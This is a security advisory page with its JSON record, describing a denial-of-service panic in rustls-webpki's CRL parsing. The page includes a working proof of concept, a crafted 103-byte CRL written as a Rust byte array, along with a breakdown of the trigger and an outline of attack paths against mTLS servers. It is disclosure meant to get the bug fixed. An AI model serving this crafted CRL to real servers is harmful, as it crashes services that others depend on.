ghsa-82j2-j2ch-gfr8

CVSS 7.5 osv_rustsec
Description

### Summary `bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension. **Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected. > **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission. ### Details `bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard: ```rust if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) { return Err(Error::BadDer); } let last_byte = raw_bits[raw_bits.len() - 1]; // ← crash ``` misses the case `padding_bits == 0 && raw_bits.is_empty()`. When a BIT STRING has content `[0x00]` (one padding-bits byte set to zero, no data bytes): - padding_bits = 0x00 — passes the > 7 check ✓ - raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false) - raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX - raw_bits[usize::MAX] → panic Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615 ### PoC Cargo.toml: ``` [dependencies] rustls-webpki = "0.102.8" # also reproduces on 0.103.12 ``` src/main.rs: ``` fn main() { let crl: &[u8] = &[ 0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c, 0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x03, 0x02, 0x00, 0x00, ]; // Panics — never returns let _ = webpki::BorrowedCertRevocationList::from_der(crl); } ``` output: ``` thread 'main' panicked at src/der.rs:... index out of bounds: the len is 0 but the index is 18446744073709551615 ``` #### Trigger ``` a0 10 -- cRLExtensions [0] EXPLICIT 30 0e -- SEQUENCE OF Extension 30 0c -- Extension SEQUENCE 06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint) 04 05 -- OCTET STRING (extnValue) 30 03 -- IssuingDistributionPoint SEQUENCE 83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00 -- padding_bits=0, data=[] ← TRIGGER ``` ### Impact - Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence. - Attack paths: - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required. - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.

Timeline
Published
unknown
Last Modified
unknown
CVSS Details

CVSS details not available.

Affected Products

No product information available.

Weaknesses (CWE)
References
Linked Vulnerabilities

No linked vulnerabilities found.

{
  "affected": [
    {
      "database_specific": {
        "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-82j2-j2ch-gfr8/GHSA-82j2-j2ch-gfr8.json"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls-webpki",
        "purl": "pkg:cargo/rustls-webpki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.103.13"
            }
          ],
          "type": "SEMVER"
        }
      ]
    },
    {
      "database_specific": {
        "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-82j2-j2ch-gfr8/GHSA-82j2-j2ch-gfr8.json"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustls-webpki",
        "purl": "pkg:cargo/rustls-webpki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.104.0-alpha.1"
            },
            {
              "fixed": "0.104.0-alpha.7"
            }
          ],
          "type": "SEMVER"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-93599",
    "RUSTSEC-2026-0104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T16:20:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n> **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) {\n    return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1];  // ← crash\n```\nmisses the case `padding_bits == 0 && raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]`  (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 — passes the > 7 check ✓\n- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX\n- raw_bits[usize::MAX] → panic\n\n\nDebug:   thread 'main' panicked: attempt to subtract with overflow\nRelease: thread 'main' panicked: index out of bounds: the len is 0\n         but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\"   # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n    let crl: &[u8] = &[\n        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x03, 0x02, 0x00, 0x00,\n    ];\n    // Panics — never returns\n    let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread 'main' panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10            -- cRLExtensions [0] EXPLICIT\n  30 0e          -- SEQUENCE OF Extension\n    30 0c        -- Extension SEQUENCE\n      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n      04 05            -- OCTET STRING (extnValue)\n        30 03          -- IssuingDistributionPoint SEQUENCE\n          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n                       --   padding_bits=0, data=[]  ← TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n    - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.\n    - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.",
  "id": "GHSA-82j2-j2ch-gfr8",
  "modified": "2026-09-19T03:55:33.412079637Z",
  "published": "2026-04-24T16:20:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rustls/webpki"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0104.html"
    }
  ],
  "schema_version": "1.9.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rustls-webpki: Denial of service via panic on malformed CRL BIT STRING"
}
View JSON API Download JSON